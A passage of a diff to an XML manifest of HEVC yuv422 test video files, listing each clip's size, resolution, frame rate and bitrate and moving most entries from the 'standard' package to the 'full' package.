-    <value>mime=video/hevc,size=30569,width=640,height=360,frame-rate=50,profile=,level=,bitrate=984360,package=standard</value>
+    <value>mime=video/hevc,size=30569,width=640,height=360,frame-rate=50,profile=,level=,bitrate=984360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=31712,width=640,height=360,frame-rate=50,profile=,level=,bitrate=943440,package=standard</value>
+    <value>mime=video/hevc,size=31712,width=640,height=360,frame-rate=50,profile=,level=,bitrate=943440,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=31951,width=640,height=360,frame-rate=50,profile=,level=,bitrate=882768,package=standard</value>
+    <value>mime=video/hevc,size=31951,width=640,height=360,frame-rate=50,profile=,level=,bitrate=882768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=33430,width=640,height=360,frame-rate=50,profile=,level=,bitrate=863248,package=standard</value>
+    <value>mime=video/hevc,size=33430,width=640,height=360,frame-rate=50,profile=,level=,bitrate=863248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=33171,width=640,height=360,frame-rate=50,profile=,level=,bitrate=802720,package=standard</value>
+    <value>mime=video/hevc,size=33171,width=640,height=360,frame-rate=50,profile=,level=,bitrate=802720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=13435,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100672,package=standard</value>
+    <value>mime=video/hevc,size=13435,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=13446,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100752,package=standard</value>
+    <value>mime=video/hevc,size=13446,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100752,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=13446,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100752,package=standard</value>
+    <value>mime=video/hevc,size=13446,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100752,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=13448,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100752,package=standard</value>
+    <value>mime=video/hevc,size=13448,width=640,height=360,frame-rate=1,profile=,level=,bitrate=100752,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=16505,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3125200,package=standard</value>
+    <value>mime=video/hevc,size=16505,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3125200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=16516,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3127200,package=standard</value>
+    <value>mime=video/hevc,size=16516,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3127200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=16516,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3127200,package=standard</value>
+    <value>mime=video/hevc,size=16516,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3127200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=16518,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3127200,package=standard</value>
+    <value>mime=video/hevc,size=16518,width=640,height=360,frame-rate=50,profile=,level=,bitrate=3127200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=18533,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2343064,package=standard</value>
+    <value>mime=video/hevc,size=18533,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2343064,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=18533,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2343064,package=standard</value>
+    <value>mime=video/hevc,size=18533,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2343064,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=18535,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2343064,package=standard</value>
+    <value>mime=video/hevc,size=18535,width=640,height=360,frame-rate=50,profile=,level=,bitrate=2343064,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=19855,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1888296,package=standard</value>
+    <value>mime=video/hevc,size=19855,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1888296,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=19986,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1901400,package=standard</value>
+    <value>mime=video/hevc,size=19986,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1901400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=19988,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1901400,package=standard</value>
+    <value>mime=video/hevc,size=19988,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1901400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=21347,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1629040,package=standard</value>
+    <value>mime=video/hevc,size=21347,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1629040,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=21349,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1629040,package=standard</value>
+    <value>mime=video/hevc,size=21349,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1629040,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=22629,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1442200,package=standard</value>
+    <value>mime=video/hevc,size=22629,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1442200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=22420,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1428664,package=standard</value>
+    <value>mime=video/hevc,size=22420,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1428664,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=23633,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1292856,package=standard</value>
+    <value>mime=video/hevc,size=23633,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1292856,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=23729,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1299136,package=standard</value>
+    <value>mime=video/hevc,size=23729,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1299136,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=24398,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1168896,package=standard</value>
+    <value>mime=video/hevc,size=24398,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1168896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=24232,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1161696,package=standard</value>
+    <value>mime=video/hevc,size=24232,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1161696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_640x360p50/crowd_640x360p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=25616,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1093952,package=standard</value>
+    <value>mime=video/hevc,size=25616,width=640,height=360,frame-rate=50,profile=,level=,bitrate=1093952,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=67427,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2656520,package=standard</value>
+    <value>mime=video/hevc,size=67427,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2656520,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=70009,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2508472,package=standard</value>
+    <value>mime=video/hevc,size=70009,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2508472,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=71998,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2365328,package=standard</value>
+    <value>mime=video/hevc,size=71998,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2365328,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=75433,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2288704,package=standard</value>
+    <value>mime=video/hevc,size=75433,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2288704,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=76450,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2154168,package=standard</value>
+    <value>mime=video/hevc,size=76450,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2154168,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=80459,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2117360,package=standard</value>
+    <value>mime=video/hevc,size=80459,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2117360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=80591,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1988224,package=standard</value>
+    <value>mime=video/hevc,size=80591,width=854,height=480,frame-rate=50,profile=,level=,bitrate=1988224,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=32461,width=854,height=480,frame-rate=1,profile=,level=,bitrate=252864,package=standard</value>
+    <value>mime=video/hevc,size=32461,width=854,height=480,frame-rate=1,profile=,level=,bitrate=252864,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=32470,width=854,height=480,frame-rate=1,profile=,level=,bitrate=252944,package=standard</value>
+    <value>mime=video/hevc,size=32470,width=854,height=480,frame-rate=1,profile=,level=,bitrate=252944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=32471,width=854,height=480,frame-rate=1,profile=,level=,bitrate=252944,package=standard</value>
+    <value>mime=video/hevc,size=32471,width=854,height=480,frame-rate=1,profile=,level=,bitrate=252944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=32472,width=854,height=480,frame-rate=1,profile=,level=,bitrate=252944,package=standard</value>
+    <value>mime=video/hevc,size=32472,width=854,height=480,frame-rate=1,profile=,level=,bitrate=252944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=39252,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7674200,package=standard</value>
+    <value>mime=video/hevc,size=39252,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7674200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=39261,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7676200,package=standard</value>
+    <value>mime=video/hevc,size=39261,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7676200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=39262,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7676200,package=standard</value>
+    <value>mime=video/hevc,size=39262,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7676200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=39263,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7676200,package=standard</value>
+    <value>mime=video/hevc,size=39263,width=854,height=480,frame-rate=50,profile=,level=,bitrate=7676200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=44536,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5810128,package=standard</value>
+    <value>mime=video/hevc,size=44536,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5810128,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=44537,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5810128,package=standard</value>
+    <value>mime=video/hevc,size=44537,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5810128,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=44538,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5810128,package=standard</value>
+    <value>mime=video/hevc,size=44538,width=854,height=480,frame-rate=50,profile=,level=,bitrate=5810128,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=47981,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4700896,package=standard</value>
+    <value>mime=video/hevc,size=47981,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4700896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=48344,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4737096,package=standard</value>
+    <value>mime=video/hevc,size=48344,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4737096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=48345,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4737096,package=standard</value>
+    <value>mime=video/hevc,size=48345,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4737096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=52340,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4108400,package=standard</value>
+    <value>mime=video/hevc,size=52340,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4108400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=52341,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4108400,package=standard</value>
+    <value>mime=video/hevc,size=52341,width=854,height=480,frame-rate=50,profile=,level=,bitrate=4108400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=55429,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3628800,package=standard</value>
+    <value>mime=video/hevc,size=55429,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3628800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=54463,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3564864,package=standard</value>
+    <value>mime=video/hevc,size=54463,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3564864,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=57657,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3237024,package=standard</value>
+    <value>mime=video/hevc,size=57657,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3237024,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=58774,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3301712,package=standard</value>
+    <value>mime=video/hevc,size=58774,width=854,height=480,frame-rate=50,profile=,level=,bitrate=3301712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=59242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2911048,package=standard</value>
+    <value>mime=video/hevc,size=59242,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2911048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=59523,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2926248,package=standard</value>
+    <value>mime=video/hevc,size=59523,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2926248,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/gop/crowd_854x480p50/crowd_854x480p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=64460,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2820352,package=standard</value>
+    <value>mime=video/hevc,size=64460,width=854,height=480,frame-rate=50,profile=,level=,bitrate=2820352,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/level/crowd_1280x720p50f32_2000kbps_level_4.0.mp4">
-    <value>mime=video/hevc,size=158428,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1963768,package=standard</value>
+    <value>mime=video/hevc,size=158428,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1963768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/level/crowd_1280x720p50f32_8000kbps_level_4.1.mp4">
     <value>mime=video/hevc,size=676498,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8439648,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/level/crowd_128x96p50f32_200kbps_level_2.0.mp4">
-    <value>mime=video/hevc,size=15705,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179944,package=standard</value>
+    <value>mime=video/hevc,size=15705,width=128,height=96,frame-rate=50,profile=,level=,bitrate=179944,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/level/crowd_176x144p50f32_200kbps_level_2.0.mp4">
-    <value>mime=video/hevc,size=16065,width=176,height=144,frame-rate=50,profile=,level=,bitrate=184232,package=standard</value>
+    <value>mime=video/hevc,size=16065,width=176,height=144,frame-rate=50,profile=,level=,bitrate=184232,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/level/crowd_1920x1080p50f32_4000kbps_level_4.1.mp4">
-    <value>mime=video/hevc,size=302882,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3769432,package=standard</value>
+    <value>mime=video/hevc,size=302882,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=3769432,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/level/crowd_1920x1088p50f32_10000kbps_level_5.0.mp4">
     <value>mime=video/hevc,size=729062,width=1920,height=1088,frame-rate=50,profile=,level=,bitrate=9096680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/level/crowd_352x288p50f32_300kbps_level_2.1.mp4">
-    <value>mime=video/hevc,size=24799,width=352,height=288,frame-rate=50,profile=,level=,bitrate=293408,package=standard</value>
+    <value>mime=video/hevc,size=24799,width=352,height=288,frame-rate=50,profile=,level=,bitrate=293408,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/level/crowd_3840x2160p50f32_12000kbps_level_5.1.mp4">
     <value>mime=video/hevc,size=898407,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=11213784,package=full</value>
@@ -17316,37 +17316,37 @@
     <value>mime=video/hevc,size=1799629,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=22479056,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/level/crowd_640x480p50f32_500kbps_level_3.0.mp4">
-    <value>mime=video/hevc,size=43736,width=640,height=480,frame-rate=50,profile=,level=,bitrate=530120,package=standard</value>
+    <value>mime=video/hevc,size=43736,width=640,height=480,frame-rate=50,profile=,level=,bitrate=530120,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/level/crowd_64x64p50f32_200kbps_level_1.0.mp4">
-    <value>mime=video/hevc,size=10419,width=64,height=64,frame-rate=50,profile=,level=,bitrate=114872,package=standard</value>
+    <value>mime=video/hevc,size=10419,width=64,height=64,frame-rate=50,profile=,level=,bitrate=114872,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/level/crowd_64x64p50f32_200kbps_level_2.0.mp4">
-    <value>mime=video/hevc,size=14672,width=64,height=64,frame-rate=50,profile=,level=,bitrate=168032,package=standard</value>
+    <value>mime=video/hevc,size=14672,width=64,height=64,frame-rate=50,profile=,level=,bitrate=168032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/level/crowd_720x480p50f32_600kbps_level_3.1.mp4">
-    <value>mime=video/hevc,size=50745,width=720,height=480,frame-rate=50,profile=,level=,bitrate=617736,package=standard</value>
+    <value>mime=video/hevc,size=50745,width=720,height=480,frame-rate=50,profile=,level=,bitrate=617736,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/level/crowd_720x576p50f32_600kbps_level_3.1.mp4">
-    <value>mime=video/hevc,size=53206,width=720,height=576,frame-rate=50,profile=,level=,bitrate=648480,package=standard</value>
+    <value>mime=video/hevc,size=53206,width=720,height=576,frame-rate=50,profile=,level=,bitrate=648480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_100kbps.mp4">
-    <value>mime=video/hevc,size=86043,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1058984,package=standard</value>
+    <value>mime=video/hevc,size=86043,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1058984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_10mbps.mp4">
     <value>mime=video/hevc,size=849691,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10604584,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_1mbps.mp4">
-    <value>mime=video/hevc,size=91751,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1130336,package=standard</value>
+    <value>mime=video/hevc,size=91751,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1130336,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_20mbps.mp4">
     <value>mime=video/hevc,size=1716685,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=21442008,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_adaptiveqp0.mp4">
-    <value>mime=video/hevc,size=368381,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4588208,package=standard</value>
+    <value>mime=video/hevc,size=368381,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4588208,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_adaptiveqp2.mp4">
-    <value>mime=video/hevc,size=365763,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4555480,package=standard</value>
+    <value>mime=video/hevc,size=365763,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4555480,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_4mbps_qpg16.mp4">
     <value>mime=video/hevc,size=390764,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4868000,package=full</value>
@@ -17358,7 +17358,7 @@
     <value>mime=video/hevc,size=398073,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4959360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_500kbps.mp4">
-    <value>mime=video/hevc,size=85706,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1054768,package=standard</value>
+    <value>mime=video/hevc,size=85706,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=1054768,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_5mbps.mp4">
     <value>mime=video/hevc,size=415696,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5179648,package=full</value>
@@ -17379,7 +17379,7 @@
     <value>mime=video/hevc,size=377872,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4706848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_b_adapt_0.mp4">
-    <value>mime=video/hevc,size=351679,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4380032,package=standard</value>
+    <value>mime=video/hevc,size=351679,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4380032,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_b_adapt_1.mp4">
     <value>mime=video/hevc,size=423102,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5272224,package=full</value>
@@ -17415,22 +17415,22 @@
     <value>mime=video/hevc,size=15401217,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=192498656,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_crf51.mp4">
-    <value>mime=video/hevc,size=28988,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=345800,package=standard</value>
+    <value>mime=video/hevc,size=28988,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=345800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ctb16.mp4">
     <value>mime=video/hevc,size=376421,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4688720,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ctb32.mp4">
-    <value>mime=video/hevc,size=373420,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4651200,package=standard</value>
+    <value>mime=video/hevc,size=373420,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4651200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_fastdecode.mp4">
-    <value>mime=video/hevc,size=375938,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4682672,package=standard</value>
+    <value>mime=video/hevc,size=375938,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=4682672,package=full</value>
   </entry>
   <entry key="hevc/yuv422/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_faster.mp4">
